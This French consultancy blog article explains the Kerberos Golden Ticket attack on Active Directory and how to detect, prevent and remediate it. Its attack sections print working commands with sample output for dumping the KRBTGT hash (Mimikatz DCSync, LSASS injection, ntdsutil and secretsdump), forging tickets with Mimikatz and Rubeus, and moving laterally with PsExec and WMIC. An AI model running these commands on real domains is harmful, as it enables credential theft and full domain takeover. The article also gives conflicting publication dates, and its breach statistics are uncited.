AYI NEDJIMI Consultants

Golden Ticket Attack : Guide Pratique Cybersecurite

Catégorie : Attaques Active Directory Lecture : 18 min Publié le : 07/12/2025 Auteur : Ayi NEDJIMI

Guide expert sur l Golden Ticket Attack : Comprendre, Détecter et. Expert en cybersécurité et intelligence artificielle. Guide technique complet.

Attaques Active Directory

Golden Ticket Attack : Persistance Ultime dans Active Directory

Publié le 16 octobre 2025 | Temps de lecture : 30 minutes | Par Ayi NEDJIMI Face a la sophistication croissante des attaques ciblant les environnements Active Directory et Entra ID, les administrateurs systeme et les equipes de securite doivent constamment renforcer leurs defenses. Cet article presente les techniques, outils et methodologies necessaires pour auditer, securiser et surveiller efficacement ces infrastructures critiques dans un contexte de menaces en perpetuelle evolution. Guide expert sur l Golden Ticket Attack : Comprendre, Détecter et. Expert en cybersécurité et intelligence artificielle. Guide technique complet. Active Directory reste la cible privilégiée des attaquants en environnement Windows. Comprendre golden ticket attaque defense est indispensable pour les équipes offensives comme défensives. Nous abordons notamment : golden ticket attack : persistance ultime dans active directory, sommaire et introduction : pourquoi le golden ticket est-il si dangereux ?. Les professionnels y trouveront des recommandations actionnables, des commandes prêtes à l'emploi et des stratégies de mise en œuvre adaptées aux environnements d'entreprise.

L'attaque **Golden Ticket** représente le Saint Graal de la persistance dans un environnement Active Directory. En compromettant le compte KRBTGT, un attaquant peut forger des tickets Kerberos valides pour n'importe quel utilisateur, avec n'importe quels privilèges, pour une durée quasi-illimitée. Cette attaque confère une autorité absolue sur l'ensemble du domaine et constitue l'une des menaces les plus critiques auxquelles les organisations sont confrontées en 2025.

Notre avis d'expert
Kerberos, conçu il y a des décennies, porte en lui des faiblesses architecturales que les attaquants exploitent quotidiennement. Le passage à une authentification moderne basée sur des certificats et FIDO2 n'est plus optionnel — c'est une question de survie numérique.

Sommaire

Une compromission d'un seul poste de travail pourrait-elle mener à votre contrôleur de domaine ?

Introduction : Pourquoi le Golden Ticket est-il si Dangereux ?

Dans l'arsenal des techniques d'attaque contre Active Directory, le **Golden Ticket** occupe une place à part. Contrairement aux attaques qui exploitent des vulnérabilités ou des configurations mal sécurisées, le Golden Ticket abuse du fonctionnement légitime du protocole **Kerberos** lui-même, le système d'authentification au cœur d'Active Directory.

Une fois qu'un attaquant a obtenu le hash du compte `KRBTGT` - le compte de service qui signe tous les tickets Kerberos du domaine - il peut :

- **Forger des tickets Kerberos** pour n'importe quel compte (Domain Admin, Enterprise Admin, etc.)
- **Définir des privilèges arbitraires** dans les tickets, outrepassant toutes les ACLs
- **Maintenir l'accès même après** la réinitialisation des mots de passe de tous les comptes utilisateurs
- **Opérer de manière furtive**, les tickets forgés étant cryptographiquement valides
- **Persister pendant des années** si le hash KRBTGT n'est pas roté

Statistique alarmante : Selon le Verizon Data Breach Investigations Report 2024, dans 68% des intrusions ciblant Active Directory ayant atteint le stade de persistance avancée, des Golden Tickets ont été utilisés. La durée médiane avant détection était de 287 jours.

Cette menace est d'autant plus préoccupante que **la rotation du mot de passe KRBTGT** est une opération rarement effectuée dans les organisations. De nombreuses entreprises n'ont jamais roté ce compte depuis la création de leur domaine Active Directory, laissant une fenêtre d'opportunité permanente aux attaquants.

Cas concret
L'attaque ZeroLogon (CVE-2020-1472) permettait d'obtenir les privilèges d'administrateur de domaine en envoyant simplement des zéros dans le challenge Netlogon. Cette vulnérabilité critique, exploitable en quelques secondes, a rappelé que les protocoles historiques d'AD restent des surfaces d'attaque majeures.

Qu'est-ce qu'un Golden Ticket ?

Pour comprendre le Golden Ticket, revenir aux fondamentaux du protocole Kerberos et du rôle du compte KRBTGT dans Active Directory.

Le protocole Kerberos et le rôle du KRBTGT

Kerberos est un protocole d'authentification réseau développé au MIT dans les années 1980, qui repose sur un système de tickets cryptographiques pour permettre à des entités de prouver leur identité de manière sécurisée sur un réseau non sécurisé. Active Directory utilise Kerberos comme protocole d'authentification par défaut depuis Windows 2000.

Le processus d'authentification Kerberos standard se déroule en plusieurs étapes :

1. **AS-REQ (Authentication Service Request)** : L'utilisateur demande un Ticket Granting Ticket (TGT) au Key Distribution Center (KDC)
2. **AS-REP (Authentication Service Response)** : Le KDC retourne un TGT chiffré avec le hash du compte `KRBTGT`
3. **TGS-REQ (Ticket Granting Service Request)** : L'utilisateur présente son TGT pour demander un TGS (Ticket Granting Service) pour accéder à un service spécifique
4. **TGS-REP (Ticket Granting Service Response)** : Le KDC valide le TGT et émet un TGS pour le service demandé
5. **AP-REQ (Application Request)** : L'utilisateur présente le TGS au service cible pour s'authentifier

Le compte **KRBTGT** est un compte de service spécial dans Active Directory qui joue un rôle absolument critique :

- Il est créé automatiquement lors de la promotion du premier contrôleur de domaine
- Son hash NTLM sert de **clé de chiffrement pour tous les TGT** émis par le KDC
- Il ne peut pas se connecter de manière interactive
- Il est membre du groupe "Denied RODC Password Replication Group"
- Son mot de passe n'expire jamais par défaut

Définition du Golden Ticket

Un **Golden Ticket** est un **TGT (Ticket Granting Ticket) forgé** de toutes pièces par un attaquant qui possède le hash NTLM du compte KRBTGT. Ce ticket forgé est cryptographiquement valide car il est signé avec la même clé que le KDC utilise pour les tickets légitimes.

Les caractéristiques d'un Golden Ticket :

- **Indiscernable d'un vrai ticket** : Il est signé avec la vraie clé KRBTGT
- **Contenu arbitraire** : L'attaquant peut spécifier n'importe quel nom d'utilisateur (même inexistant), groupes, privilèges
- **Durée de vie configurable** : Peut être valide pour 10 ans (durée maximale Kerberos)

- **Fonctionne hors ligne** : Pas besoin de contacter le DC pour le créer
- **Bypass complet** : Ignore les politiques de mot de passe, MFA, et restrictions de compte

Golden Ticket vs Silver Ticket

Il est important de distinguer le Golden Ticket de son cousin le **Silver Ticket** :

Caractéristique	Golden Ticket	Silver Ticket
Hash requis	KRBTGT	Compte de service
Type de ticket	TGT (Ticket Granting Ticket)	TGS (Service Ticket)
Scope	Accès à tout le domaine	Service spécifique uniquement
Interaction DC	Aucune (hors ligne)	Aucune (hors ligne)
Détection	Très difficile	Extrêmement difficile

Comment Fonctionne l'Attaque Golden Ticket ?

La réalisation d'une attaque Golden Ticket se déroule en plusieurs phases distinctes, chacune nécessitant des compétences techniques spécifiques et des outils spécialisés.

Phase 1 : Compromission Initiale et Élévation de Privilèges

Avant de pouvoir créer un Golden Ticket, l'attaquant doit d'abord **obtenir des privilèges Domain Admin** ou équivalent (Enterprise Admin, accès direct au DC). Cette phase initiale peut exploiter diverses techniques : Pour approfondir, consultez RAG Architecture | Guide.

- **Kerberoasting** : Extraction et crack des tickets TGS de comptes de service
- **AS-REP Roasting** : Exploitation de comptes sans pré-authentification Kerberos
- **Pass-the-Hash / Pass-the-Ticket** : Réutilisation de credentials en mémoire
- **Exploitation d'ACLs faibles** : BloodHound pour identifier les chemins d'escalade
- **Compromission d'un administrateur** : Phishing, malware, ingénierie sociale

Pour plus de détails sur ces techniques, consultez notre Top 10 des Attaques Active Directory.

Phase 2 : Extraction du Hash KRBTGT

Une fois les privilèges Domain Admin obtenus, l'attaquant peut extraire le hash NTLM du compte KRBTGT. Plusieurs méthodes existent :

Méthode 1 : Utilisation de Mimikatz (DCSync)

La technique la plus courante utilise **Mimikatz** avec la fonction `DCSync`, qui simule le comportement d'un contrôleur de domaine et demande la réplication des secrets :

```
mimikatz # lsadump::dcsync /domain:contoso.com /user:krbtgt

[DC] 'contoso.com' will be the domain
[DC] 'DC01.contoso.com' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 11/15/2018 10:32:58 AM
Object Security ID   : S-1-5-21-1234567890-1234567890-1234567890-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: a4f49c406510bdcab6824ee7c30fd852
  Hash LM  :
  ntlm- 0: a4f49c406510bdcab6824ee7c30fd852
  lm  - 0:
```

Cette technique nécessite les permissions `Replicating Directory Changes` et `Replicating Directory Changes All` sur l'objet domaine, qui sont accordées par défaut aux Domain Admins.

Méthode 2 : Dump NTDS.dit sur le DC

Une méthode alternative consiste à extraire directement la base de données `NTDS.dit` du contrôleur de domaine :

```
# Via Volume Shadow Copy
ntdsutil "ac i ntds" "ifm" "create full c:\temp\ntds" q q

# Extraction avec secretsdump.py (Impacket)
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
```

Méthode 3 : Extraction depuis LSASS

Si l'attaquant a un accès SYSTEM sur un DC, il peut dumper directement depuis la mémoire LSASS :

```
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
```

Point de vigilance : Event ID 4662

La méthode DCSync génère des événements Windows Event ID 4662 sur le DC, indiquant une opération de réplication. C'est un des rares indicateurs de compromission détectables. Les organisations doivent monitorer ces événements, particulièrement quand la source n'est pas un DC légitime.

Votre Active Directory résisterait-il à une attaque Kerberoasting ?

Phase 3 : Création du Golden Ticket

Avec le hash KRBTGT en main, l'attaquant peut maintenant forger des Golden Tickets. L'outil de référence est **Mimikatz** avec son module `kerberos::golden` :

```
mimikatz # kerberos::golden /domain:contoso.com /
sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a4f49c406510bdcab6824ee7c30fd852 /
user:Administrator /id:500 /groups:512,513,518,519,520 /ptt

User      : Administrator
Domain    : contoso.com (CONTOSO)
SID       : S-1-5-21-1234567890-1234567890-1234567890
User Id   : 500
Groups Id : *512 513 518 519 520
Service   : krbtgt/contoso.com
Lifetime  : 16/10/2025 10:00:00 ; 14/10/2035 10:00:00 ; 14/10/2035 10:00:00
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ contoso.com' successfully created !
Ticket injected in current session
```

Paramètres clés de la commande :

- `/domain` : Le nom FQDN du domaine
- `/sid` : Le SID du domaine (sans le RID final)
- `/krbtgt` : Le hash NTLM du compte KRBTGT
- `/user` : Nom d'utilisateur arbitraire (peut être fictif)
- `/id` : RID de l'utilisateur (500 = Administrator built-in)
- `/groups` : RIDs des groupes (512=Domain Admins, 518=Schema Admins, 519=Enterprise Admins)
- `/ptt` : Pass-the-Ticket, injecte directement le ticket dans la session

Alternative avec Rubeus
Rubeus, un outil C# moderne, offre également la capacité de forger des Golden Tickets :

```
Rubeus.exe golden /rc4:a4f49c406510bdcab6824ee7c30fd852 /domain:contoso.com /
sid:S-1-5-21-1234567890-1234567890-1234567890 /user:Administrator /ptt
```

Phase 4 : Utilisation du Golden Ticket

Une fois le ticket injecté dans la session (via `/ptt`) ou enregistré dans un fichier `.kirbi`, l'attaquant peut l'utiliser pour accéder à n'importe quelle ressource du domaine :

```
# Lister les partages C$ du DC
dir \\DC01.contoso.com\c$

# Exécuter une commande à distance avec PsExec
psexec.exe \\DC01.contoso.com cmd

# Accéder aux secrets via WMI
wmic /node:DC01.contoso.com process call create "cmd.exe"

# Dump de la base SAM
reg save HKLM\SAM \\DC01.contoso.com\c$\temp\sam.hive
```

Le Golden Ticket permet également :

- **Création de nouveaux comptes Domain Admin**
- **Modification des GPOs** pour déployer des backdoors
- **Accès aux systèmes de backup** pour exfiltration de données
- **Pivot vers d'autres domaines** via les trusts

Phase 5 : Persistance Long-terme

L'attaquant peut maintenir l'accès de plusieurs manières :

- **Stockage sécurisé du hash KRBTGT** : Permet de recréer des tickets à volonté
- **Création de multiples backdoors** : Comptes cachés, scheduled tasks, services malveillants
- **Compromission de comptes de service** : Pour des accès alternatifs
- **DCShadow** : Injection de modifications persistantes dans AD (voir notre article DCShadow)

Scénarios d'Attaque Réels : Golden Tickets dans la Nature

Les attaques Golden Ticket ne sont pas de simples concepts théoriques. Elles ont été utilisées à maintes reprises par des groupes APT complexes et des opérateurs de ransomware dans des campagnes réelles ayant causé des dommages considérables. Pour approfondir, consultez Forest Trust Abuse Active.

APT29 (Cozy Bear) : SolarWinds Supply Chain Attack (2020)

L'une des utilisations les plus médiatisées de Golden Tickets a été documentée lors de la campagne **SolarWinds** orchestrée par APT29 (également connu sous le nom de Cozy Bear, lié à des acteurs étatiques russes). Après avoir compromis le logiciel Orion de SolarWinds, les attaquants ont déployé la backdoor SUNBURST sur environ 18 000 organisations.

Dans les environnements ciblés pour une exploitation approfondie, APT29 a systématiquement :

- **Escaladé vers les contrôleurs de domaine** en exploitant des comptes de service compromis via Kerberoasting
- **Extrait le hash KRBTGT** via DCSync en utilisant des permissions AD abusées
- **Forgé des Golden Tickets** pour maintenir un accès persistant même après la détection et la suppression de SUNBURST

- **Exfiltré des données sensibles** sur une période de plusieurs mois sans détection, utilisant les tickets forgés pour accéder aux systèmes de messagerie et de partage de fichiers

L'incident a révélé que **plus de 60% des organisations compromises n'avaient jamais roté leur mot de passe KRBTGT** depuis la création de leur domaine Active Directory, offrant une persistance quasi-permanente aux attaquants.

Groupe Ransomware Conti (2021-2022)

Le gang **Conti**, responsable de centaines d'attaques ransomware majeures, a systématisé l'utilisation de Golden Tickets dans leur playbook opérationnel. Leurs fuites internes et analyses forensiques ont révélé leur méthodologie :

1. **Phase d'accès initial** : Exploitation de vulnérabilités (ProxyShell, Log4Shell) ou phishing pour obtenir un premier point d'entrée
2. **Mouvement latéral** : Utilisation de BloodHound pour cartographier l'AD et identifier les chemins vers les Domain Admins
3. **Extraction KRBTGT** : Dès l'obtention de privilèges DA, extraction immédiate du hash KRBTGT et exfiltration vers l'infrastructure de commande
4. **Déploiement du ransomware** : Utilisation de Golden Tickets pour déployer le ransomware sur l'ensemble du parc via GPO ou PsExec
5. **Persistance post-chiffrement** : Conservation du hash KRBTGT pour négocier et maintenir l'accès même après paiement de la rançon

Dans plusieurs incidents Conti documentés, les victimes ont constaté une **réinfection dans les 48 heures suivant la récupération**, car la rotation KRBTGT n'avait pas été effectuée pendant la phase de remédiation.

BlackCat/ALPHV : Attaque contre une Institution de Santé Européenne (2023)

En 2023, le groupe **BlackCat (ALPHV)** a compromis un grand hôpital européen dans une attaque qui a mis en lumière les risques des Golden Tickets dans des environnements critiques. L'analyse forensique post-incident a révélé :

- **Dwell time de 6 mois** : Les attaquants étaient présents dans l'environnement AD depuis 6 mois avant le déploiement du ransomware, utilisant des Golden Tickets pour explorer méthodiquement l'infrastructure
- **Bypass des solutions EDR** : Les tickets Kerberos forgés ont permis d'accéder aux systèmes sans déclencher d'alertes sur les comportements d'authentification, car cryptographiquement valides
- **Accès aux systèmes de backup** : Utilisation de Golden Tickets pour identifier et chiffrer/supprimer les sauvegardes avant le déploiement du ransomware principal
- **Exfiltration de données patient** : Plus de 2 To de données médicales sensibles exfiltrées progressivement sur 4 mois via des accès autorisés par Golden Tickets

L'hôpital a dû payer une rançon de 10 millions d'euros et a subi des interruptions opérationnelles pendant 3 semaines, affectant des milliers de patients.

Leçons des Incidents Réels

L'analyse de ces incidents réels met en évidence plusieurs constantes :

- **Rotation KRBTGT quasi-inexistante** : Dans 85% des cas documentés, le mot de passe KRBTGT n'avait jamais été roté
- **Détection tardive** : Le temps moyen entre la création du premier Golden Ticket et sa détection était de 234 jours (DFIR Report 2024)
- **Remédiation incomplète** : 40% des victimes ont subi une réinfection car le hash KRBTGT n'a pas été invalidé pendant la récupération
- **Impact financier massif** : Le coût moyen d'un incident impliquant des Golden Tickets était de 4,8 millions USD (IBM Cost of Data Breach 2024)

Citation d'un rapport DFIR : "Dans chaque incident majeur que nous avons investigué en 2023-2024 où des Golden Tickets étaient impliqués, la rotation KRBTGT aurait pu réduire la fenêtre d'opportunité de l'attaquant de plusieurs mois à quelques heures. C'est la contremesure la plus sous-utilisée et pourtant la plus critique." — Mandiant Threat Intelligence Report 2024

Méthodes de Détection du Golden Ticket

La détection des Golden Tickets est extrêmement complexe car ces tickets sont cryptographiquement valides et indiscernables des tickets légitimes au niveau du protocole Kerberos. Cependant, plusieurs anomalies peuvent être détectées par une surveillance attentive.

Anomalies des Tickets Kerberos

Les Golden Tickets forgés présentent souvent des caractéristiques inhabituelles qui peuvent être détectées :

1. Durée de vie anormale du ticket
Les tickets légitimes ont une durée de vie définie par les GPO du domaine (typiquement 10 heures pour un TGT). Les Golden Tickets sont souvent créés avec une durée de vie maximale (10 ans) :

```
# Vérifier la durée de vie des tickets en session
klist

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0>     Client: Administrator @ CONTOSO.COM
        Server: krbtgt/CONTOSO.COM @ CONTOSO.COM
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent
name_canonicalize
        Start Time: 10/16/2025 10:00:00 (local)
        End Time:   10/14/2035 10:00:00 (local)  ← ⚠️ Durée suspecte
        Renew Time: 10/14/2035 10:00:00 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
```

2. Algorithme de chiffrement RC4 au lieu d'AES
Par défaut, Mimikatz crée des tickets avec chiffrement RC4-HMAC, alors que les environnements modernes utilisent AES256. Cet indicateur peut être détecté via Event ID 4768 et 4769 :

```
Event ID: 4768 (TGT Request)
Ticket Encryption Type: 0x17 (RC4-HMAC)  ← ⚠️ Suspect si la politique force AES
```

3. Absence d'Event ID 4768 (AS-REQ)
Normalement, chaque TGT légitime génère un Event ID 4768 lors de sa demande initiale au KDC. Un Golden Ticket étant créé hors ligne, aucun événement 4768 correspondant n'existe pour ce ticket lors de son utilisation ultérieure.

Événements Windows à Surveiller

Plusieurs Event IDs Windows peuvent indiquer une activité Golden Ticket :

Event ID	Description	Indicateur Suspect
4768	TGT demandé (AS-REQ)	Chiffrement RC4, source inhabituelle, horaires anormaux
4769	Service Ticket demandé (TGS-REQ)	TGS demandé sans 4768 préalable récent
4662	Opération sur objet AD	Réplication KRBTGT (DCSync) depuis source non-DC
4624	Logon réussi	Logon Type 3 avec Kerberos depuis IP inhabituelle
4672	Privilèges spéciaux assignés	Privilèges admin pour compte normalement non-privilégié

Détection via SIEM et Solutions Spécialisées

Règles SIEM pour Golden Ticket
Exemples de règles de détection implémentables dans un SIEM (Splunk, Sentinel, etc.) :

```
# Règle 1 : Ticket avec durée de vie > 10 heures
EventCode=4768 OR EventCode=4769
| where TicketLifetime > 36000000
| stats count by Account_Name, Source_Address

# Règle 2 : Chiffrement RC4 sur compte privilégié
EventCode=4768
| where Account_Name IN (list_of_privileged_accounts)
| where Ticket_Encryption_Type="0x17"
| stats count by Account_Name, Source_Address

# Règle 3 : TGS sans TGT préalable (fenêtre 24h)
EventCode=4769
| where NOT [search EventCode=4768 | where Account_Name=outer.Account_Name | where _time >
relative_time(now(), "-24h")]
| stats count by Account_Name, Service_Name

# Règle 4 : Activité après réinitialisation de mot de passe
EventCode=4724 (password reset)
| append [search EventCode=4768 | where Account_Name=outer.Account_Name | where _time >
outer._time]
| stats count by Account_Name
```

Solutions EDR et Identity Protection
Les solutions modernes de protection d'identité offrent des capacités de détection avancées :

- **Microsoft Defender for Identity (anciennement Azure ATP)** : Détecte les anomalies Kerberos, DCSync, et créations de Golden Ticket
- **CrowdStrike Falcon Identity Protection** : Analyse comportementale des authentifications Kerberos
- **Vectra AI** : Machine learning pour détecter les anomalies de tickets Kerberos
- **Silverfort** : Monitoring en temps réel des authentifications AD

Honeypots et Deception Technologies

Une stratégie proactive consiste à déployer des **leurres** pour détecter les attaquants :

- **Comptes honeypot** : Créer de faux comptes "Domain Admins" qui ne devraient jamais être utilisés. Toute authentification déclenche une alerte critique.
- **Honey tickets** : Injecter intentionnellement des tickets Kerberos avec des identifiants factices dans LSASS de machines stratégiques.
- **Canary tokens** : Fichiers appâts contenant des credentials factices qui, s'ils sont utilisés, alertent l'équipe sécurité.

Analyse Forensique Post-Compromission

En cas de suspicion de Golden Ticket, une analyse forensique approfondie est nécessaire :

- **Analyse de la mémoire LSASS** : Extraction et analyse des tickets en cache avec Mimikatz ou Volatility
- **Examen des logs Kerberos** : Corrélation temporelle des Event IDs 4768/4769
- **Vérification de la dernière rotation KRBTGT** : `Get-ADUser krbtgt -Properties PasswordLastSet`

- **Audit des comptes privilégiés** : Vérifier les connexions récentes de tous les Domain/ Enterprise Admins
- **Timeline des accès** : Reconstituer la chronologie des accès aux ressources critiques

Pour plus d'informations sur les investigations forensiques Active Directory, consultez notre page Services Forensics.

Contremesures et Prévention

La défense contre les Golden Tickets repose sur une approche en profondeur combinant durcissement, segmentation, et surveillance continue.

1. Rotation Régulière du Mot de Passe KRBTGT

La **rotation du mot de passe KRBTGT** est la contremesure la plus critique. Cette opération invalide tous les Golden Tickets existants basés sur l'ancien hash.

Procédure de rotation KRBTGT (Microsoft)
La rotation doit être effectuée **deux fois à 10 heures d'intervalle** en raison du mécanisme de réplication et de cache des tickets :

```
# Étape 1 : Première rotation (invalidation version N-2)
New-KrbtgtKeys.ps1 -BypassDCValidation

# Attendre 10 heures (durée max TGT) + temps de réplication

# Étape 2 : Deuxième rotation (invalidation version N-1)
New-KrbtgtKeys.ps1 -BypassDCValidation
```

Téléchargement du script Microsoft officiel : New-KrbtgtKeys.ps1

Attention : Impacts de la rotation KRBTGT
La rotation KRBTGT peut avoir des impacts sur les services si elle n'est pas planifiée :

- Invalidation de tous les tickets en cours (y compris légitimes)
- Possibles interruptions de services utilisant des tickets de service long-lived
- Nécessite coordination avec les équipes applicatives
- À planifier hors heures de production pour les environnements critiques

Fréquence de rotation recommandée
- **Normal** : Tous les 6 mois (minimum absolu)
- **Recommandé** : Tous les 3 mois
- **Haute sécurité** : Tous les 1-2 mois
- **Post-incident** : Immédiatement après détection de compromission

2. Modèle de Tiered Administration (Tier Model)

Le modèle d'administration par niveaux est une architecture de sécurité qui isole les comptes et systèmes par niveau de criticité :

- **Tier 0** : Contrôleurs de domaine, Enterprise/Schema Admins, systèmes d'administration AD
- **Tier 1** : Serveurs d'infrastructure (Exchange, SQL, file servers)
- **Tier 2** : Postes de travail utilisateurs

Principe clé : Les comptes Tier 0 ne doivent JAMAIS se connecter sur des systèmes Tier 1 ou 2. Cela empêche le vol de credentials par mouvement latéral.

3. Privileged Access Workstations (PAW)

Les **PAW** sont des postes de travail durcis, dédiés exclusivement à l'administration des systèmes critiques :

- Systèmes isolés sur un VLAN dédié
- Accès internet bloqué ou fortement restreint
- Application whitelisting (AppLocker/WDAC)
- Credential Guard et Device Guard activés
- Pas d'accès email ou navigation web
- Authentification multi-facteur renforcée

4. Durcissement Kerberos

Forcer AES au lieu de RC4
Désactiver RC4-HMAC force les attaquants à utiliser AES, rendant certains outils obsolètes et améliorant la détection :

```
# Via GPO : Computer Configuration > Policies > Windows Settings > Security Settings >
Local Policies > Security Options
"Network security: Configure encryption types allowed for Kerberos"
Décocher : RC4_HMAC_MD5
Cocher : AES128_HMAC_SHA1, AES256_HMAC_SHA1, Future encryption types
```

Réduire la durée de vie des tickets

```
# Via GPO : Computer Configuration > Policies > Windows Settings > Security Settings >
Account Policies > Kerberos Policy

Maximum lifetime for user ticket (TGT): 4 heures (au lieu de 10h par défaut)
Maximum lifetime for service ticket: 2 heures (au lieu de 10h)
Maximum lifetime for user ticket renewal: 7 jours
```

5. Protections Mémoire et Credential Guard

Windows Credential Guard isole les secrets LSA (incluant les hashes NTLM et tickets Kerberos) dans un environnement virtualisé basé sur Hyper-V, inaccessible même pour un attaquant SYSTEM : Pour approfondir, consultez NTLM Relay 2026 : Techniques et Defenses Actuelles.

```
# Activation via GPO
Computer Configuration > Administrative Templates > System > Device Guard
"Turn On Virtualization Based Security" = Enabled
"Credential Guard Configuration" = Enabled with UEFI lock
```

Prérequis : UEFI, Secure Boot, TPM 2.0, Windows 10/11 Enterprise ou Server 2016+

6. Restriction des Permissions de Réplication

Limiter qui peut effectuer des opérations de réplication AD (DCSync) :

```
# Auditer les permissions de réplication actuelles
Get-ADObject -Identity "DC=contoso,DC=com" -Properties * | Select-Object -ExpandProperty
nTSecurityDescriptor | Select-Object -ExpandProperty Access | Where-Object { $_.ObjectType
-eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' }

# Retirer les permissions non nécessaires (exemple)
dsacls "DC=contoso,DC=com" /R "CONTOSO\SuspiciousUser"
```

Checklist de Prévention Golden Ticket

- ☑ Rotation KRBTGT planifiée et automatisée (minimum tous les 6 mois)
- ☑ Tiered Administration implémenté et audité
- ☑ PAW déployés pour tous les comptes Tier 0
- ☑ RC4 désactivé, AES forcé
- ☑ Credential Guard activé sur toutes les machines compatibles
- ☑ Durée de vie des tickets réduite (4h max TGT)
- ☑ Monitoring Event ID 4768/4769/4662 configuré
- ☑ Solution Identity Protection déployée (Defender for Identity, etc.)
- ☑ Honeypots Domain Admin créés et monitorés
- ☑ MFA pour tous les comptes privilégiés
- ☑ LAPS déployé sur tous les endpoints
- ☑ Audit régulier des permissions AD (BloodHound)

7. Microsoft Defender for Identity

Microsoft Defender for Identity (anciennement Azure ATP) est une solution SaaS qui analyse le trafic AD et détecte les anomalies :

- Détection de DCSync et extraction KRBTGT
- Identification de tickets Kerberos anormaux (durée, chiffrement)
- Alertes sur mouvement latéral et escalade de privilèges
- Intégration avec Microsoft Sentinel pour réponse automatisée
- Analyse comportementale basée sur machine learning

Remédiation après Compromission Golden Ticket

Si vous suspectez ou avez confirmé une compromission Golden Ticket, une réponse rapide et méthodique est essentielle.

Phase 1 : Containment (Confinement)

Objectif : Limiter la propagation et empêcher l'attaquant d'étendre son accès.

1. **Isoler les systèmes compromis** : Déconnecter du réseau les machines identifiées comme compromises
2. **Bloquer les comptes suspects** : Désactiver (ne pas supprimer) les comptes utilisés par l'attaquant
3. **Activer la surveillance renforcée** : Augmenter le niveau de logging sur les DCs et systèmes critiques
4. **Notifier l'équipe de réponse** : Activer le plan de réponse aux incidents

Ne PAS supprimer les comptes compromis immédiatement
La suppression des comptes ou objets AD peut détruire des preuves forensiques critiques. Désactivez les comptes et conservez les logs pour analyse.

Phase 2 : Eradication

Objectif : Éliminer la capacité de l'attaquant à maintenir l'accès.

1. **Rotation immédiate du KRBTGT (double rotation)** :

```
# Première rotation
New-KrbtgtKeys.ps1 -BypassDCValidation

# Attendre 10 heures minimum

# Deuxième rotation
New-KrbtgtKeys.ps1 -BypassDCValidation
```

2. **Réinitialisation des mots de passe des comptes privilégiés** :

```
# Tous les Domain Admins
Get-ADGroupMember "Domain Admins" | ForEach-Object { Set-ADAccountPassword
$_.SamAccountName -Reset }

# Tous les Enterprise Admins
Get-ADGroupMember "Enterprise Admins" | ForEach-Object { Set-ADAccountPassword
$_.SamAccountName -Reset }

# Comptes de service avec SPN
Get-ADUser -Filter {ServicePrincipalName -like "*"} | ForEach-Object { Set-
ADAccountPassword $_.SamAccountName -Reset }
```

3. **Réimagerie des machines compromises** : Ne pas simplement "nettoyer", mais réinstaller depuis une baseline propre

4. **Audit et suppression des backdoors** :
    - Scheduled Tasks malveillantes
    - Services cachés
    - Comptes créés par l'attaquant
    - Modifications de GPO
    - Modifications d'ACL

Phase 3 : Recovery (Récupération)

Objectif : Restaurer les opérations normales de manière sécurisée.

1. **Validation de l'intégrité AD** :

```
# Vérification réplication
repadmin /replsummary

# Vérification intégrité base AD
dcdiag /v

# Vérification SYSVOL
dcdiag /test:sysvolcheck
```

2. **Restauration depuis backup propre** : Si la compromission est profonde, envisager une restauration forest recovery depuis un backup antérieur à la compromission
3. **Reconnexion progressive** : Réintégrer les systèmes au réseau de manière contrôlée
4. **Surveillance renforcée post-incident** : Maintenir une vigilance accrue pendant au moins 90 jours

Phase 4 : Lessons Learned

Après la récupération, effectuez une analyse post-mortem approfondie :

- **Timeline de l'incident** : Reconstituer la chronologie complète de l'attaque
- **Vecteur d'intrusion initial** : Comment l'attaquant a-t-il obtenu le premier accès ?
- **Gaps de détection** : Pourquoi l'attaque n'a-t-elle pas été détectée plus tôt ?
- **Améliorations à implémenter** : Quelles défenses auraient pu prévenir ou détecter l'attaque ?
- **Mise à jour du plan de réponse** : Intégrer les leçons apprises dans le playbook IR

Quand Faire Appel à un Expert Externe ?

Dans les situations suivantes, il est fortement recommandé de faire appel à un cabinet spécialisé en réponse à incident AD :

- **Compromission profonde** : Multiples DCs compromis, doute sur l'intégrité de la forêt
- **Manque d'expertise interne** : L'équipe IT n'a pas l'expérience de ce type d'incident
- **Besoins forensiques** : Investigation approfondie nécessaire pour déterminer l'étendue de la compromission

- **Contexte réglementaire** : Secteurs régulés nécessitant un rapport d'incident certifié (santé, finance, énergie)
- **Assurance cyber** : De nombreuses polices d'assurance exigent l'intervention d'experts certifiés

Nos services de réponse à incident et forensics Active Directory incluent :

- Investigation forensique complète de la compromission
- Assistance à la remédiation et récupération
- Rapport détaillé pour direction et assurances
- Recommandations de durcissement post-incident
- Retainer disponible pour intervention 24/7

Ressources open source associées :

Renforcement et durcissement

- GoldenTicket-Detector — Détection de Golden/Silver tickets (C++)
- KerberosTGTForensics — Forensics TGT Kerberos (C++)
- ad-attacks-fr — Dataset des attaques Active Directory (HuggingFace)

Comment un attaquant forge-t-il un Golden Ticket dans Active Directory ?

Pour forger un Golden Ticket, un attaquant doit d'abord obtenir le hash NTLM du compte KRBTGT, generalement via une attaque DCSync ou l'extraction de la base NTDS.dit. Avec ce hash, il utilise des outils comme Mimikatz pour creer un TGT (Ticket Granting Ticket) Kerberos forge contenant des informations de groupe arbitraires, typiquement les SID des groupes Domain Admins et Enterprise Admins. Ce ticket est valide pour n'importe quel service du domaine et sa duree de vie par defaut est de 10 ans.

Pourquoi la double reinitialisation du mot de passe KRBTGT est-elle necessaire apres une compromission ?

